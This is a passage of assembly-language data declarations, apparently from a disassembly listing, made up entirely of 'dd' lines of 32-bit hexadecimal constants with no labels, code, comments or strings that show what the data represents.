		dd 39786B48h, 0D00448Fh, 632C3271h, 0A03B5F2Ah,	8D468FD5h
		dd 826700AAh, 76B5C0F2h, 778F7DFAh, 5C50FCDh, 14817F98h
		dd 0DC582093h, 29009694h, 0D2D3DD6Ch, 9735A8Fh,	0DEC39DD5h
		dd 0ED015020h, 0D60022E8h, 4385BA70h, 61E9F3h, 586327F5h
		dd 0FB928669h, 0A8ED171Fh, 2C4CB480h, 1B8143Ah,	310EBBD2h
		dd 8F168952h, 170F3B10h, 0E020871Bh, 60AED5EAh,	0DA8611FCh
		dd 9324D32Ah, 1F00D019h, 0B37A409Ch, 356000E0h,	1C0DCE6Eh
		dd 205CF6DCh, 671000B6h, 0A468FAFBh, 7E3F0056h,	74E433E1h
		dd 0DFF60F03h, 1E0026E8h, 7A80183Eh, 199F2FE8h,	846411Ah
		dd 1F2180C7h, 0DD7B8040h, 21021EF0h, 0AD5900E6h, 0F89BD6D4h
		dd 58655000h, 568AFAC9h, 0D12F006Bh, 52C1C03Dh,	0DE60C2F3h
		dd 0F009FE48h, 0AA230361h, 92253A27h, 21370830h, 0F4F071E5h
		dd 52590041h, 0EB0DF93Bh, 5D182310h, 19689AC1h,	2647A94h
		dd 0EAE49C7Eh, 0C3413B2Bh, 9360CA8Ch, 28D896E6h, 6F3ADEB9h
		dd 0AA0308CAh, 80F0F21Bh, 8200A3B6h, 70678E83h,	347BB9h
		dd 3C24540Ah, 6D275B3Ah, 949C172Ah, 2C026346h, 4FE85680h
		dd 9310C631h, 0DF0E8054h, 0E06F2F19h, 0FEDE96FAh, 9F051F3Ch
		dd 2C32D491h, 65475B06h, 0D7001033h, 3861F8C3h,	459FB9h
		dd 0E8DA2C59h, 444F8035h, 10687B00h, 98491624h,	0D5C8000Fh
		dd 0A3AB41FCh, 0F000728Eh, 80B0F33Ch, 0B7DB60h,	7FC492Dh
		dd 0CB25B50Bh, 0DE436100h, 0D9783D66h, 2F420054h, 0A5CCF922h
		dd 0A94862C5h, 0DCB7002Ch, 0D12C2985h, 6F3F0121h, 0C1CC612h
		dd 5E904026h, 91242B3Bh, 0F7035319h, 0A85046A4h, 7283C7Ch
		dd 0AB4FFD39h, 672C80BDh, 0C900D3B2h, 0C459E0E2h, 0C044C43h
		dd 0A942B8D2h, 0E00DA38h, 0F7B111CFh, 1CFF5745h, 13CC023h
		dd 4C442B37h, 397AE815h, 6F2C830Ch, 5112030h, 32619725h
		dd 0CC2038D9h, 1F252A46h, 40E5458h, 1D83BECEh, 8F9F3830h
		dd 3C9472D3h, 0CF0FDB95h, 289812E6h, 0C3003971h, 486DE818h
		dd 74F690C2h, 494A604Dh, 0F7F941D0h, 0AC358600h, 588FB0Eh
		dd 0EB313B6Eh, 3A205900h, 0D1A04799h, 30A58EFCh, 198051CEh
		dd 70EFBF77h, 0AC6D6903h, 3E02874Fh, 3D011120h,	3C76BB90h
		dd 85B54025h, 952765D1h, 0D5ECE0A5h, 97110155h,	36BE3127h
		dd 0F814D39Ah, 11CC0F3Dh, 0DB062C71h, 5839FCE4h, 6D7C3400h
		dd 4E9A1F70h, 2A252AABh, 420518E8h, 0EF90C1F0h,	0D3706903h
		dd 5985125h, 261164D9h,	0CC5E5Ah, 75720E2Eh, 953DEC49h
		dd 824332Dh, 3213A36h, 20D87280h, 0DB6C02D1h, 0E1B5E730h
		dd 79BD4EBh, 0FEEC34E0h, 5962854Ah, 0BC3DB0DCh,	22CF0389h
		dd 1B78970h, 8E8F9111h,	0F4D6AC0Fh, 46663165h, 0E1FF08h
		dd 0CD8FD78Bh, 0B855AFCFh, 92C49306h, 0A0410789h, 18C0F69h
		dd 87E246EAh, 0CCCFECCDh, 370FE662h, 4601F1Bh, 248938BEh
		dd 20108C02h, 0C05AD10Bh, 0AFC6A9C0h, 266890D6h, 142D955h
		dd 516CB686h, 524FE83Ch, 0DE4C4603h, 404937CEh,	892A1h
		dd 0D2F1D4A2h, 59FB645h, 212708CCh, 0A270006Ah,	0EABFB3CAh
		dd 6300F644h, 0B82E7890h, 486D383Ch, 0F1008073h, 0A4C26EFEh
		dd 30A43231h, 3FA27704h, 2C620AF1h, 0A27F7920h,	57D61DE7h
		dd 0F4FE01BDh, 86069988h, 215C4120h, 0EE1400E1h, 0A6C07DBDh
		dd 23006734h, 0B5D9A133h, 2A35A1Ch, 743F94C7h, 6C488975h
		dd 0B907C011h, 4DA6B6FCh, 118C1D69h, 0A5248077h, 28B0B47Dh
		dd 1EAE4989h, 1603FBDh,	0DB4A62A9h, 2423DFh, 0AA166BCBh
		dd 1CABA1E2h, 1BC0A8Dh,	887FB441h, 1B071704h, 0FC2FC840h
		dd 0CC2104E0h, 0FEF723ECh, 4240CE03h, 3B0800B6h, 3F79746Bh
		dd 60A5BE6Ah, 0F2634BC4h, 22576AA0h, 50209FAh, 2F957D31h
		dd 99D4427Eh, 390C4E2Ch, 240DD400h, 0BDC4BE71h,	8018D8B8h
		dd 286E9B3h, 0E80CC33Dh, 5C6526CDh, 0F9482480h,	431C05h
		dd 0DEA3BB71h, 0D0684686h, 8079A491h, 9E813019h, 43E36B00h
		dd 34077F8Ah, 0BC540FC3h, 28C160C0h, 405D221Dh,	0CCB6D264h
		dd 18914498h, 605C4708h, 496E720Bh, 0CA303446h,	72330CE1h
		dd 0D86F611Ch, 1D1000BBh, 21A0825Ch, 1050947h, 5420AEBEh
		dd 0F5178AB1h, 766EB400h, 63FBDF21h, 0FB8002Dh,	60C2AEDBh
		dd 0F8C8B75Dh, 8F68C075h, 0DE4CAC0Ch, 0B0F8E020h, 78C728Eh
		dd 7524A9F9h, 7197214Bh, 0F5A43128h, 4C82042Ch,	8F61307Eh
		dd 46AC7911h, 0F180FE88h, 21F88EA9h, 0D8170088h, 0A3DBF72Fh
		dd 98A88F49h, 4100538Dh, 2E0EC5B0h, 0A6EB8Bh, 874550FBh
		dd 18A87784h, 513A370Ah, 1F80A832h, 0EE4BA4FFh,	0F2E0003Eh
		dd 1234356Dh, 44002D7Dh, 8AD1E0Ch, 957B195h, 83451FCAh
		dd 88B71429h, 0A0465B8Fh, 8DF5F0E1h, 0AB630F64h, 17608E97h
		dd 0BD4005B4h, 4C3331C2h, 0E0D4A07Ch, 0FAEF353Eh, 46021ED8h
		dd 296D9861h, 86240391h, 708420B7h, 54C8A9BEh, 0B7700B4h
		dd 9254ADD6h, 2C91278Bh, 0F4087316h, 8A80B92Dh,	77FCE361h
		dd 22529A88h, 37323D0h,	0AC0E8E92h, 0FC96259Ah,	8FDD5600h
		dd 1F803EA0h, 0A8F40164h, 830E36EDh, 177983C4h,	80A4FE84h
		dd 0D2554C0Ah, 20F00881h, 0B9A279C3h, 30181AF1h, 0E615F88h
		dd 17769AA2h, 3CAC1F40h, 9FF6347Bh, 83EC1902h, 0C1B36AF8h
		dd 9451BB3Ch, 844BEB6Dh, 69E31300h, 0D91A9B84h,	0AB363E00h
		dd 0ED45F8E4h, 984A5C1Ch, 53BFE00Bh, 56414400h,	89001615h
		dd 67E9A0DAh, 12C94E7h,	83806387h, 60406EC0h, 6F0705EFh
		dd 19AD58Ah, 0A1442780h, 14D0001Dh, 866CCA0Bh, 5E0ED71Bh
		dd 82369Eh, 30D5D880h, 0FA40006Fh, 43CFE37Bh, 61000E07h
		dd 460865A8h, 10BF95h, 6445E67Eh, 507F0A85h, 0D6CE012Fh
		dd 0B50E00B9h, 62840991h, 3126AC3Bh, 6B63801Dh,	10B6FCh
		dd 697FD948h, 3367F5B0h, 0AB01F67Fh, 0CCAD87F0h, 0C080EA0Bh
		dd 0D142AAFBh, 3E002911h, 3CB03D95h, 0DD57DBh, 21E379B6h
		dd 7F77DF58h, 0F71B010Fh, 85DC01E0h, 408865E6h,	7F9C10F1h
		dd 874DA180h, 0A1D3B82Fh, 0DD41F580h, 409F74DCh, 0DE72C039h
		dd 286B5D0h, 0BC795400h, 12E026AFh, 1F1500E6h, 2EF97D78h
		dd 0EA07D529h, 0F021A962h, 449EBB20h, 208A0059h, 0E031AD4Eh
		dd 0A490FAABh, 0B911471Eh, 75DF1640h, 6796B8h, 0D0B5EC3Ah
		dd 0CC65DA93h, 91926D0Ah, 7805A0EEh, 0CE0003BDh, 0A9BC6B0Dh
		dd 4F85079Fh, 0E7134914h, 0B4D360B6h, 0BB7C4D65h, 0FBA06CFEh
		dd 66004A8Dh, 0C0AEB83Ah, 2BA0210h, 5978B14Bh, 124149FAh
		dd 8AA7C4CAh, 7AAB8B00h, 65C69AE3h, 71D30329h, 699FE974h
		dd 40284102h, 0A145086Fh, 991E86A0h, 43A23C0h, 0B897C9CEh
		dd 0E4D7C230h, 0A95EC080h, 0B9127A03h, 0FBB6E1Fh, 402CA1C2h
		dd 29037740h, 129324F7h
		dd 0E2C69076h, 21B9008Ch, 96785E82h, 0ED503AF9h, 0BB3C1880h
		dd 0F6998003h, 55A24F91h, 31FD2A78h, 0D9F52CA0h, 152A0127h
		dd 0EC2E0CE2h, 3E000E66h, 0D1585B9Bh, 565199Ah,	0EB6285ADh
		dd 55F20005h, 4D203249h, 0D34857E6h, 0ECB80020h, 0B471DD87h
		dd 0B5290192h, 754C52E3h, 0DACD809h, 40F40F2h, 80656B76h
		dd 6DA98BF7h, 7E771F96h, 46098079h, 32F65B18h, 9CEDEF0Bh
		dd 0FD6400ABh, 2A94721Fh, 0A0433Dh, 87F1F433h, 0CE4E6616h
		dd 0DFDAAD07h, 41F56469h, 879AC98h, 24496C72h, 12132C6h
		dd 672210Eh, 0F98D884Fh, 719803Fh, 0BFA39BA4h, 0E4ED395Ah
		dd 0C58FA280h, 5582C395h, 0D009C900h, 77908EFBh, 287901E8h
		dd 8B2CB945h, 79D82C2Ah, 0AB4F7104h, 24B07B91h,	213901F8h
		dd 998EF142h, 0ACD8641Eh, 5F18AD00h, 0CB5D2798h, 25F900E2h
		dd 7729B367h, 0D5183279h, 0CE20BB11h, 0A9E61415h, 0C1F3207Eh
		dd 0EB1922DAh, 983431E8h, 27C46FCh, 0AC0B8F6Bh,	10FE31B6h
		dd 38EB3F7h, 3C8F4B97h,	0A590CF0Bh, 0EB01314Ah,	7FA4ACF9h
		dd 0A4215046h, 0C90E024h, 223E9A06h, 4A70411h, 450E0075h
		dd 7A951DD8h, 0DC31FF00h, 0F68F1251h, 92721F9Eh, 94A9800Ch
		dd 24D86834h, 5A552903h, 11495631h, 11733A29h, 0C01196A4h
		dd 63207E14h, 8E64217h,	103639BDh, 7A0984ECh, 5941E248h
		dd 803358Dh, 856C7900h,	1E617340h, 0BEA803EAh, 64F0C15h
		dd 20B18DD8h, 0DA5BD700h, 39837692h, 0E2731ED8h, 0BBE580F1h
		dd 0C0DBFF7Eh, 7DA8075Eh, 0E8E82Ch, 1FF8FD05h, 3E7E2B77h
		dd 0CDD88F00h, 9D54E065h, 52D1376Ch, 0A32C140h,	22F46050h
		dd 0A3BCFE1Ch, 0E18D340Fh, 5E94071Eh, 6DD4F4h, 515FA584h
		dd 0CED6E105h, 9BD26E00h, 80F807B5h, 3209003Ah,	483BAD46h
		dd 750F7CEEh, 40CC155Fh, 0A4C14EE1h, 52C500AEh,	71EA42E5h
		dd 651EFCBBh, 3F9FD011h, 0E01A6AEh, 69C24744h, 2F58D0h
		dd 0E638624Bh, 9AB3E07h, 0C0B7C300h, 0A56E390Dh, 0CA491AAFh
		dd 92036031h, 6D802C7h,	81CEF44h, 0EC006FE5h, 6A7EBE56h
		dd 0D3CB1836h, 41176845h, 0D867F900h, 50153DD9h, 5F510FBCh
		dd 8E00F1BBh, 7DF4389Ch, 0C94C4A2Eh, 0F8DC2500h, 2AF2DDD0h
		dd 9C10D1h, 0B5B74B05h,	0A81F06ECh, 3015BD00h, 45E0F849h
		dd 0EEC300D2h, 0E72B0DA7h, 0BD004316h, 4EA6FE06h, 0F1FC58h
		dd 35238B1Fh, 5B079EC0h, 3CD9B100h, 982D4D5Ah, 0E7EE5C93h
		dd 2E18F900h, 0DF4F5376h, 4CBCCD00h, 0C94AD227h, 73EA3903h
		dd 42026F00h, 0C7109843h, 0CA33BD1Dh, 9D91BB40h, 115A5DFh
		dd 99B2A9E8h, 0FCFF521Ch, 7B002D0Bh, 8887B8DEh,	38D1AF60h
		dd 0DB00813Fh, 1E80F29Eh, 0BA006D64h, 19F67217h, 0E2BB28F9h
		dd 0E7EA003Ch, 2B8D7636h, 0FB00D67Eh, 5CFA1A22h, 63823Ah
		dd 154AD427h, 3E9B0CB9h, 62E32B07h, 0DA91CE9Dh,	13F81AA3h
		dd 0E1810030h, 0F888590Dh, 0B003340h, 55746236h, 4EC13Ch
		dd 7190499Bh, 0CED20561h, 0E379500h, 0ECC05207h, 41260013h
		dd 0BA6FBF86h, 8200CF08h, 73AF2E9Ch, 1C4323Ah, 0A75E12A9h
		dd 0FCAC9F4Ch, 2460D505h, 2DE61911h, 532A000Ah,	0B72EAFE9h
		dd 31004EA0h, 0E891EA41h, 7B1A34h, 0D8308304h, 92ECCAD3h
		dd 65C98100h, 94387521h, 1409005Fh, 4FC35893h, 8A00B060h
		dd 0B25CC8BFh, 0F1E31Dh, 75700A78h, 0EA76932Dh,	583E6007h
		dd 0F7801A9Dh, 268CDCC0h, 4C1C80h, 64E230DBh, 9000767Fh
		dd 87DA7D6Fh, 9B0FEEh, 0DDB72A27h, 205A186h, 0BDC6AC1Ch
		dd 0FD7E7440h, 0CEDD3C2h, 40AB5443h, 0B0C057E0h, 629C4B55h
		dd 6D9E0070h, 0F76CDA72h, 1900FD80h, 5B898502h,	73EE839Ch
		dd 3265004Eh, 93B9A6CAh, 0B4009013h, 0B099F41Fh, 395F124h
		dd 81825186h, 0EAB93C9Eh, 0DC32E1D3h, 0CC000542h, 31F6C0C9h
		dd 7AABA23h, 0E41DCB90h, 7A4C1B9h, 0AB2020F2h, 2A20027Ch
		dd 0CA6D1DE6h, 0C2DB0050h, 5BBC9A1Ch, 782E200h,	99B5AA74h
		dd 0DDF800ACh, 3C4540CBh, 201F59A9h, 49807AC3h,	6D81E1D0h
		dd 9B6901F9h, 91EBD4A0h, 0F05C0364h, 3CFA932Eh,	128247CEh
		dd 7576AE56h, 0F6E05540h, 0FDED1000h, 6F6B3C96h, 0EFE60071h
		dd 74CCEB37h, 47001CBEh, 512FA8C7h, 125FE08h, 11758070h
		dd 0F8DE53A9h, 0EB07D339h, 0FD7D6D49h, 9F8A2D10h, 0BABF00D1h
		dd 87A0758Eh, 0CFF2B013h, 1D373A00h, 0E2BE5104h, 71087071h
		dd 7E557B85h, 14831C6Ch, 5C64FA6h, 74B46480h, 54FAD6F8h
		dd 0A5C7F004h, 2180EE52h, 470BB31h, 72E1E45Fh, 48298617h
		dd 34DF1300h, 0A7BC7DECh, 105F0E0Bh, 6AC00F2Fh,	0FF736D2Eh
		dd 317A200h, 0D9C9E1Eh,	0C0E61D94h, 0FE4AC0B0h,	8AA4DB4Fh
		dd 0AA7BE400h, 0C07877Eh, 5D500097h, 0F08BB356h, 0A800AC4Fh
		dd 0FE2B4A16h, 26C73BE7h, 3E79427h, 9B84A98Dh, 2DB870D3h
		dd 0E92C4E4Dh, 3A0F863Eh, 6A92A48Fh, 205A9880h,	38FDE291h
		dd 0B6808DC8h, 196455D1h, 0D2075306h, 6BD88EB8h, 0CA7E6620h
		dd 36720074h, 142867C5h, 8A00EFF6h, 0B11D8F3Fh,	2941EB0h
		dd 0E1936178h, 4EC0FADAh, 5E01800Dh, 387244CBh,	2EEC1F1Eh
		dd 0C6500034h, 0D7CC85ADh, 6F008991h, 0ABB79A41h, 564223h
		dd 60319F3Eh, 0F7C0D4CBh, 1561F500h, 9C2A0155h,	0F05160A8h
		dd 57E86E3Fh, 45DB1800h, 220AAEBEh, 0B4091D5Eh,	9ED400FFh
		dd 7A3AEA64h, 1853AF04h, 0E7C03EE2h, 6CC49h, 20A2C8C9h
		dd 0E42F74ECh, 0D859D200h, 473DE809h, 0AB05008Ch, 285479EEh
		dd 20001A56h, 462E83B7h, 80F6B1h, 0E86A23DCh, 19C0CD27h
		dd 85D09400h, 0B34B8996h, 6FE30038h, 0A78E142Eh, 1B005073h
		dd 0E87DBBEFh, 1AC1A7Eh, 9FD9372Ch, 0F3AF0E0Bh,	1CF3D5B0h
		dd 697E68C3h, 1F7CD110h, 7711080h, 55601529h, 8140500h
		dd 1D066EE0h, 690A00BCh, 8AFE7D9Eh, 95013179h, 0B0A2EEA0h
		dd 8C30FF53h, 2C330076h, 0FE2A8A3Fh, 7CE68ED2h,	0F662F200h
		dd 0E684EF06h, 0E517CB2h, 34661BDFh, 0D540ECE1h, 0B88430FFh
		dd 0BDD82900h, 0BFDC9A6Fh, 915E00EEh, 0AF88E6C7h, 0A2391B6Ah
		dd 0F75A0048h, 0D5EFE231h, 438C0106h, 2F5C6EBBh, 76CC4023h
		dd 8524F8E5h, 74014078h, 31DF02B1h, 0C88E98DBh,	0F2840173h
		dd 5EF32C90h, 55DC30ABh, 58116200h, 76C98D44h, 2C0D004Eh
		dd 0D2AAA04Dh, 210E6B40h, 60B9FDAFh, 88625885h,	49E004Ah
		dd 0BAB13E3h, 0F7E43B38h, 87D71807h, 7D1028EFh,	0A0A21Eh
		dd 6E01BAECh, 139A6817h, 4F3D8F00h, 9C4E28FDh, 197D2CD9h
		dd 1C5D008Eh, 3AD11F31h, 26E6E818h, 38AA70D0h, 23805ACBh
		dd 5B56DC36h, 0BF0089FEh, 243FF4C5h, 0FBD288h, 5D94F684h
		dd 0F7E87B38h, 0E81D58h, 0D1E301A4h, 11A90B1h, 0BBED8175h
		dd 0C4B7FB36h, 5901C252h, 0DDE2AA21h, 82EC616Eh, 1E160006h
		dd 0FFABE45Bh, 5817B366h, 44001BBFh, 0B20163AAh, 1759001Fh
		dd 16922E8Fh, 0A414F57Ch, 0C05BDEh, 7BBCA651h, 68BEEFh
		dd 0B3F7A0EEh, 6603B97h, 789DB803h, 0E72F21C4h,	0F5852080h
		dd 0D87E94h, 0FD658D61h, 45EEF19Dh, 2F15D700h, 84C3FAE7h
		dd 0C5401655h, 0B6C030D2h, 2109CDACh, 801DF615h, 8D6937DCh
		dd 6B820063h, 0CC406613h, 2D00080Fh, 0FD7B9C22h, 2B02CBh
		dd 68D18581h, 0A57EBE06h, 0E565D402h, 4176D609h, 0E4F2C11Ch
		dd 916A2034h, 0F6E8FB2Fh, 202D0081h, 0E1964F2Fh, 0AD0E1900h
		dd 0CF7FC823h, 0F8E624B0h
		dd 0D61F8044h, 0C727CA10h, 0A000AFA2h, 0AA4B285Ah, 3992CF00h
		dd 7E6897EAh, 849F4DD3h, 0DA77A60Ch, 0AB007358h, 36C818CBh
		dd 584ED387h, 3E3DD743h, 609DAEh, 0E5272686h, 0E104117Dh
		dd 0E7EB107Fh, 0E064BCD2h, 23C94h, 0E9C6A092h, 0D5C9D05Ah
		dd 0B8731701h, 0B5298394h, 9199FCh, 0D6528997h,	0C8011D25h
		dd 7A570A00h, 0C06475D4h, 76EC711Fh, 179FC70h, 23D3B1B6h
		dd 70F5F819h, 9300F499h, 2C59402Bh, 61180h, 0FE87C8D6h
		dd 94BF554Dh, 9D886E00h, 0CE7FC382h, 0B0DD03F5h, 3C6DEBE4h
		dd 0D6968087h, 3912A565h, 0FE0053A0h, 0C4C32310h, 24B7005Ch
		dd 999BF612h, 617F7298h, 102DE830h, 563E48h, 0B21846C4h
		dd 0D74CE0F1h, 0E83DE00h, 36018093h, 6D590344h,	1A3DA4E3h
		dd 0F6D1C998h, 809B7B00h, 69EE0FC4h, 95E80038h,	75CC254Eh
		dd 4400CDADh, 0C14CBABBh, 2977CAh, 0EFF8BEBFh, 19B96293h
		dd 0D39D1C00h, 0D08E028h, 3EED015Fh, 1BA68FB5h,	70D6DDADh
		dd 571F29D6h, 66C06CE7h, 90D90D07h, 198839DCh, 0C3FBCB07h
		dd 0D4A4C0FAh, 430FD37Fh, 60965EC4h, 9D384454h,	69D0007Bh
		dd 245A2375h, 6E09B4D2h, 326A299h, 0F8600135h, 3E0AF9Fh
		dd 29A5AA5Fh, 1E000F52h, 0A9F367A3h, 0B58951h, 95C5FC14h
		dd 5F322439h, 0A0ED2E00h, 0CBD30C17h, 3E7C008Ah, 0D2E34FBAh
		dd 0B70010C3h, 7EDFD715h, 8B91DBh, 219FB76h, 49D1FE3Fh
		dd 344CA5Ch, 202ED65Fh,	0C360E81Dh, 0F17800D9h,	59798725h
		dd 0B9393FABh, 0EDB58EEEh, 3ADFE1B1h, 51C435B6h, 6D94009Ch
		dd 0EC705BFFh, 98020626h, 7B8883B0h, 0AE43C01Fh, 342F005Ah
		dd 7C1D87D8h, 6D09F869h, 81CD074Dh, 9CB63B01h, 80D8F02Ah
		dd 0F9F37407h, 119CC855h, 8D71033Eh, 4C27A841h,	534E0E7h
		dd 0C1003C1Fh, 24435464h, 939CF47h, 779BDBBDh, 0B37B9C04h
		dd 654BC430h, 1CEB1CB0h, 0C012B020h, 4795C56h, 47002673h
		dd 0D44C8BFFh, 19804Dh,	0C03C2F9Ch, 8EA9557Eh, 3A4C2DFCh
		dd 7C94000Ch, 47FE6B77h, 0CE9D0465h, 80CFF8D7h,	0C6A2BDB0h
		dd 900CD207h, 0E0033B8h, 0BECF717h, 0B7878189h,	0AD445800h
		dd 3305F531h, 55A216FCh, 72B9E0Bh, 82D05146h, 7F1B496h
		dd 6A2F2E68h, 347180FFh, 0B172406Ch, 0D4D9BD06h, 3E0E03Dh
		dd 0F7CB0532h, 51B899C2h, 9200E8D3h, 277684EAh,	0B89542B7h
		dd 0B3530059h, 715F875Dh, 0B0012C0h, 0DB8E76B5h, 3FAE8031h
		dd 72BBB116h, 0B4F000CAh, 0ECFC15DDh, 52B07307h, 1F6351F8h
		dd 331003EFh, 7FEDD965h, 94C8BDC0h, 3962B301h, 2C68AC29h
		dd 6A8F9440h, 54FF1FC4h, 0B86B0088h, 5063803Ah,	0BEFBAA00h
		dd 0B6D4B0ABh, 0FD3B008Bh, 0DAC04A04h, 6090B4A2h, 4D82331Ch
		dd 9DCE44DDh, 0E60BDCh,	0FD9F366Dh, 8AB51EB7h, 3E650024h
		dd 1930ECBDh, 0E31CCE00h, 0C7ABA795h, 0FF4100B4h, 0DBBB9A91h
		dd 0E200DA43h, 0AEA51462h, 1BD1859h, 36B21599h,	70BFA9C3h
		dd 2D704C54h, 6832B00Ah, 1500B09Fh, 0A575E28Eh,	0A3C8C0B5h
		dd 0D159A735h, 0EE07F498h, 0C5642C2h, 0D92BC500h, 0B6C60050h
		dd 6C8334CAh, 6724FF48h, 179650F2h, 66B0D840h, 0A9B6BCh
		dd 8BA73CAEh, 8C9CC3BAh, 28A8BD5Dh, 4801A691h, 0E340EF5Dh
		dd 1882D0E5h, 0F3C57402h, 0D2EB7460h, 0D678FDE6h, 9EA44500h
		dd 920F9724h, 0C984A0CFh, 41950260h, 6976359Ch,	0D18158C0h
		dd 0A746C00h, 8DC02777h, 33A6582Fh, 0D2656E00h,	0E7101920h
		dd 0BA7F0A00h, 0D48AF27h, 0A522009Dh, 43DAF817h, 1B5C5E56h
		dd 2A2E000Dh, 7DF96150h, 0D012008Ch, 0CA32636Ch, 4D3D5C75h
		dd 3A4B00CBh, 0DBE454Eh, 20650098h, 28F81ADEh, 54764D53h
		dd 0BD00B8B2h, 2B46CE5Bh, 72ABAA12h, 0D397009Fh, 85800457h
		dd 100BFE9h, 5BB378EDh,	0C8F96Ch, 256BF36Ah, 0F03180E3h
		dd 0B8291D07h, 0D891D308h, 3C70FCA1h, 9E5E00ACh, 1DC74998h
		dd 0C050D4F5h, 0C600B390h, 184DAE91h, 995726Fh,	0DF1B30DBh
		dd 0D6C38280h, 0DA009CD0h, 43FC7712h, 2AC8BEEh,	4A113B26h
		dd 6F07E10Fh, 41DDD9F0h, 74724CB0h, 5A8ECB00h, 2AD43021h
		dd 0EB8D6C16h, 0F20F5900h, 17E7C505h, 3AA62A5h,	9255D176h
		dd 0B7D8F09Bh, 34B8E463h, 0B04B6C00h, 121D5106h, 75A72C4h
		dd 0D9C272A9h, 0F0F490C1h, 0F9A1042Fh, 0D1B5F4BBh, 7DE6900h
		dd 1ECE48A1h, 0AC0C0055h, 88D75236h, 0D90082FAh, 570638C2h
		dd 5627A7h, 4C0A37E0h, 514BAAA1h, 0FAB248h, 0C44D3BEAh
		dd 387AD631h, 5E81C5ACh, 82B6369Dh, 72B074F7h, 1C8A2D00h
		dd 0DF99F64Eh, 0F9681F74h, 0CB80C746h, 1BCE90D0h, 6000968Ch
		dd 2C32F7EEh, 0B87B9h, 0B8F2885Dh, 41CDD88Ah, 30AA3300h
		dd 0ED79EED9h, 0BDC4025Eh, 2035AC39h, 41A70C48h, 3B00257Ch
		dd 9E6A2BEAh, 0C8A0B82h, 0A810C798h, 0C0F47490h, 497ED503h
		dd 140BA515h, 2442ACA9h, 0C533A303h, 800BDB2h, 22375AB8h
		dd 0F532C8h, 1F7AD9D7h,	3C137507h, 9541B603h, 354DDDCh
		dd 1110B3D8h, 0D1B357BCh, 0C1EF5000h, 0C06BA17Ah, 10CB25Ah
		dd 1C109FB2h, 0BE6E4E49h, 3F770080h, 0CBD0867h,	8AC30166h
		dd 0F76D64F2h, 0DE1C4063h, 0A3036B4Dh, 3BB2C2ABh, 15B3A0AAh
		dd 0C925601Ah, 0F1B8C4D4h, 0B1EA3F01h, 6C95C07Ch, 8E27F0h
		dd 0D2485922h, 82583074h, 8600FB75h, 91819A2Ch,	46EFD5h
		dd 254C16BAh, 3C93C137h, 0FCC2CA60h, 139187A8h,	82B4BBh
		dd 955DE6D4h, 6830637Ah, 0EA9694ACh, 2575003Ch,	6FC6A099h
		dd 91000785h, 39879527h, 5806AEE5h, 1E00A223h, 6FFE16A3h
		dd 92004D71h, 981C6652h, 136C3AA6h, 6AFABD6h, 0D9C54131h
		dd 0E1040957h, 2032794Fh, 69D82800h, 0EB7E44DCh, 2B1E167Ch
		dd 52C7CF68h, 70C0C682h, 1FE5F89Bh, 7C9699Eh, 0C0C1B9E2h
		dd 4BD7461Ah, 12CD151h,	9EC843C0h, 3E1B651h, 83880295h
		dd 51D1290Ah, 6180C46Bh, 78E8BCA2h, 0D21B0E24h,	3B80A185h
		dd 4B77C3CEh, 61C9DB33h, 600CC541h, 58D7D1E3h, 1962871Eh
		dd 0A560D8CCh, 860522DFh, 2B3BB824h, 83F67020h,	0D1680728h
		dd 41F7C794h, 3BF5395Dh, 9BBDA0h, 69914412h, 0F69285CFh
		dd 0B6035AF4h, 0A50D20DFh, 1569756Ah, 4C0847D4h, 6B7EF583h
		dd 0C222B7A7h, 0A444EB0Ah, 74A89964h, 608BB340h, 0EF8871A2h
		dd 0A2830A6h, 0EA8A6338h, 0CE193D63h, 0E195AB6Ch, 7180F347h
		dd 460C231Ch, 0D21F2504h, 6042A57Ch, 838486DBh,	3D515D8h
		dd 0E5765328h, 39013647h, 0D767BF29h, 0C020A27Eh, 8AB66ACh
		dd 0EC00212Eh, 0AFFF67C7h, 1FC19A5Bh, 0C19D3864h, 0E351775Dh
		dd 0A5A0823Ah, 88C44CA2h, 0C540FCD8h, 3318529Eh, 0CC1837F7h
		dd 75D14FE0h, 7BF21D7h,	21EFE174h, 98F7227Bh, 0B6217E09h
		dd 0E01E3BE4h, 9FDA649Dh, 22074CEDh, 78105D70h,	165034CCh
		dd 6649258h, 0E55B6A5h,	3B0AE821h, 80A6728Bh, 1F367E00h
		dd 0FFD96Ah, 30199816h,	5A48BC4Bh, 12036671h, 88D34C01h
		dd 563CC020h, 9F860096h, 9582AAE1h, 0C800EC6Eh,	2E13C22Ch
		dd 7DED246Fh, 1DE8FC17h, 76D7460h, 70ACAEA3h, 0BECD568Fh
		dd 8B7DA400h, 0BF7320F3h, 0A6C8008Ch, 5250020Ah, 0C0007145h
		dd 0DD89CBD0h, 3058B51h, 1D4F01BCh, 49EE2965h, 0E4A63B05h
		dd 0D0C1AE41h, 0CEC479DBh, 85F03C5Ch, 0FFAFC280h, 0A63FBFC9h
		dd 3A4EDA00h, 7EF71196h, 3513EFEh, 0B3275480h, 0A908350Ah
		dd 3C325601h, 6AFF11E4h
		dd 0F0607880h, 2975D8BDh, 4265307h, 70CCA9BCh, 52A5004Ah
		dd 0FC15B4CEh, 5E303D56h, 5A8B986Ch, 332000C5h,	7D0E5D36h
		dd 85399DB8h, 0A469005Ch, 64C22304h, 8867300Bh,	0BC1E6030h
		dd 8E48C100h, 71E2F37Bh, 384273F0h, 0AD1E7ACBh,	26EA8040h
		dd 88D5BFB7h, 8BC6700Bh, 3A180738h, 81E527B2h, 2C2D6ACEh
		dd 0CBC075C6h, 0C40D40AEh, 187D237Fh, 0E2FAA81h, 0E35857ADh
		dd 8D675803h, 1CD34188h, 8A3848h, 1BB83B05h, 0D3F1F71h
		dd 2BF00B07h, 85D500C2h, 96EC30Bh, 0E8A04E6h, 0EB5F6601h
		dd 1A9BED8h, 0B7B0906Dh, 0A4C82DB3h, 57C7030Bh,	6F9583B9h
		dd 0C8CE8888h, 631B060h, 0E1DB12h, 82AC756Ch, 1E4B11F1h
		dd 16982200h, 85FDDE3Ch, 21E32857h, 5D680358h, 26B72005h
		dd 0E9A3D0E0h, 336C939h, 9F89D962h, 5483F104h, 941B30B8h
		dd 0F87B0845h, 3DDCAB00h, 0B784811Eh, 2A3401DFh, 20F09F91h
		dd 0EB2981C6h, 0D52C301Bh, 76C2E760h, 0DE332C1h, 49F0E11h
		dd 94142E06h, 0EBCD0010h, 33C3429Ah, 710FB935h,	60EA851Dh
		dd 0B2E170Ah, 0C76EE7Ch, 5D304ACDh, 22842128h, 9779D427h
		dd 8B3D4188h, 0C0B20A4h, 46E283F0h, 21334522h, 1701AE9h
